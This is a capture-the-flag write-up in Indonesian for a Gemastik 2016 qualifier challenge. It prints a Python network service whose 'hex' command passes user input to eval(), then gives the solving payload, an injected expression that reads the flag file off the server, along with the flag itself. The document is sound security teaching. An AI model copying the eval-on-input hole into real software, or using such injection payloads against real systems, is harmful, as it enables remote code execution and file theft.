Gemastik Quals 2016
Masalah
Diberikan file server.py
dan layanan yang dapat digunakan pada alamat ini.
nc target.netsec.gemastik.ui.ac.id 13338
Isi server.py
#/usr/bin/env python
from Crypto.Hash import MD5, SHA256
import base64
import SocketServer
import threading
msg = "Python Server - Utility Network Service v1.0\n\n"
class DB:
def getHash(self, string):
h = SHA256.new()
h.update(string)
return h.hexdigest()
def __init__(self):
self.userDB = {}
f = open('database.db', 'r')
items = f.read().split('\n')
f.close()
for item in items:
token = item.split(':')
username = token[0]
password = token[1]
self.userDB[username] = password
self.userDB["guest"] = self.getHash("guest")
def auth(self, username, password):
if (username in self.userDB and self.getHash(password) == self.userDB[username]):
return username
else:
return None
class incoming(SocketServer.BaseRequestHandler):
def handle(self):
req = self.request
req.sendall(msg)
req.sendall("Username : ")
username = req.recv(64)[:-1]
req.sendall("Password : ")
password = req.recv(64)[:-1]
db = DB()
authUsername = db.auth(username, password)
if (authUsername):
req.sendall("\nWelcome, " + username + "!\n")
req.sendall("Type 'help' to see available options\n\n")
while True:
req.sendall("> ")
cmd = req.recv(8)[:-1]
if (cmd == "help"):
req.sendall("Options\n")
req.sendall(" b64 - encode string to Base 64\n")
req.sendall(" md5 - calculate MD5 Hash\n")
req.sendall(" hex - convert decimal to hex\n")
req.sendall(" getflag - only for administrator\n")
req.sendall(" exit - exit from service\n")
elif (cmd == "b64"):
req.sendall("Base64 encoder - Insert string : ")
string = req.recv(512)[:-1]
req.sendall(base64.b64encode(string) + "\n")
elif (cmd == "md5"):
req.sendall("MD5 Hash Calculaction - Insert string : ")
string = req.recv(512)[:-1]
h = MD5.new()
h.update(string)
req.sendall(h.hexdigest() + "\n")
elif (cmd == "hex"):
try:
req.sendall("Dec to Hex Converter - Insert number : ")
number = req.recv(512)[:-1]
req.sendall(hex(eval(number)) + "\n")
except:
req.sendall("Please insert number\n")
elif (cmd == "getflag"):
if (authUsername == "admin"):
flag = open('PythonServer.flag').read()
req.sendall(flag)
else:
req.sendall("You must be an administrator to get the flag\n")
elif (cmd == "exit"):
req.sendall("Bye!\n")
break
else:
req.sendall("Unknown command\n");
else:
req.sendall("Login Failed\n")
req.close()
class ReusableTCPServer(SocketServer.ForkingMixIn, SocketServer.TCPServer):
pass
SocketServer.TCPServer.allow_reuse_address = True
server = ReusableTCPServer(("0.0.0.0", 13338), incoming)
server.timeout = 60
server.serve_forever()
Penyelesaian
Pada file server.py
terdapat kelemahan pada fungsi eval
yang dapat menyebabkan RCE (Remote Code Execution).
Gunakan kode open('PythonServer.flag').read()
yang kemudian dikonversi menjadi bilangan agar bisa dibaca oleh perintah hex
.
int(eval("open('PythonServer.flag').read()").encode('hex'), 16)
Anda akan mendapatkan flag ini.
GEMASTIK{please_use_Python_pr0p3rly}